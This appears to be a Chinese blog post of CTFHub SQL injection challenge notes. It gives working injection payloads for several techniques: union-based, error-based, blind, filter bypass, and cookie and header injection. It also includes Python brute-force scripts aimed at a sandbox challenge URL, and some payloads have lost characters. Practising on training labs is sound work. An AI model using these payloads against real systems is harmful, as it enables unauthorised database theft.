Contents

CTFHub-SQL注入学习

0x00 前言

菜鸡记录汇总下SQL注入的学习过程。

0x01 整数型注入

很明显地发现id是注入点。

使用order by 子句快速猜解表中的列数,试出列数为2。

配合union select语句进行回显,输入-1 union select 1,database()#,爆破数据库

输入-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())#,爆破表

输入-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flag')#,爆破字段

输入-1 union select 1,(select * from flag)#,得到flag字段的存储数据。

0x02 字符型注入

题目:SQL注入 字符型注入, 尝试获取数据库中的 flag

使用order by 子句快速猜解表中的列数,试出列数为2。

输入-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())#,爆表

输入-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flag')#,爆破字段

输入-1' union select 1,(select * from flag)#,得到flag字段的存储数据。

0x03 报错注入

输入1 union select count(),concat(database(),floor(rand(0)2))x from information_schema.columns group by x,爆出数据库为sqli。

输入1 union select count(*),concat((select table_name from information_schema.tables where table_schema=database()),floor(rand(0)*2))x from information_schema.columns group by x,报错,原因是结果返回多行数据。

使用limit子句,被用于强制 select语句返回指定的记录数。limit接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。

得到两个表名,newsflag,使用同样的方法,输入1 union select count(),concat((select column_name from information_schema.columns where table_name='flag' limit 0,1),floor(rand(0)2))x from information_schema.columns group by x,继续爆破字段名。

输入1 union select count(),concat((select flag from flag),floor(rand(0)2))x from information_schema.columns group by x,得到flag。

0x04 布尔盲注

输入select * from news where id=1 and if(1,sleep(4),null)发现有时延,存在注入。简单写个脚本来爆破。

import requests
dic = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_@!#$^&*()/<>.[]'
url = "http://challenge-214ca254e588d83f.sandbox.ctfhub.com:10800/"
flag= ''

for i in range(1,10):
	for x in dic:
		data={
			'id':'1 and (if(substr(database(),%d,1)=\'%s\',sleep(4),null))' %(i,x)
		}
		try:
			res=requests.get(url,data,timeout=4)
		except requests.exceptions.ReadTimeout:
			flag=flag+x
			print(flag)
			break
print(flag)	

成功得到数据库名称,继续构造语句。

输入1 and (select count(table_name) from information_schema.tables where table_schema=database())=2,得到表的数量。

修改id为1 and if(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),%d,1)=\'%s\',sleep(4),null),得到可疑的表flag。继续修改成1 and if(substr((select column_name from information_schema.columns where table_name=\'flag\' limit 0,1),%d,1)=\'%s\',sleep(4),null),得到可疑字段名flag。最后,修改为1 and if(substr((select flag from flag),%d,1)=\'%s\',sleep(4),null),扩大range。得到flag。

做完发现,把题目想复杂了一丢丢,脚本可以再简化一下(下面未测试)。


import requests
dic = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_@!#$^&*()/<>.[]'
url = "http://challenge-214ca254e588d83f.sandbox.ctfhub.com:10800/"
text= 'query_success'
flag= ''

for i in range(1,10):
	for x in dic:
		data={
			'id':'1 and substr(database(),%d,1)=\'%s\'' %(i,x)
		}
		res=requests.get(url,data)
		if text in res.text:
			flag=flag+x
			print(flag)
			break
print(flag)	

0x05 时间盲注

直接用上一题的脚本,改个url就能跑出来了。

0x06 MySQL结构

构造-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

继续构造-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='vpkaqldokv'#

最后构造-1 union select 1,group_concat(gtlvsmcstd) from vpkaqldokv#,成功得到flag。

0x07 过滤空格

构造上一题类似的语句,用/**/绕过空格。-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

构造-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='txoypyrige'#

最后,构造-1/**/union/**/select/**/1,group_concat(affqveqsqw)/**/from/**/txoypyrige#

0x08 Cookie注入

打开cookie,找到注入点。

修改id的value即可实现注入。

0x09 UA注入

打开bp,在UA构造注入语句。

0x0A Refer注入

同样使用bp构造注入语句。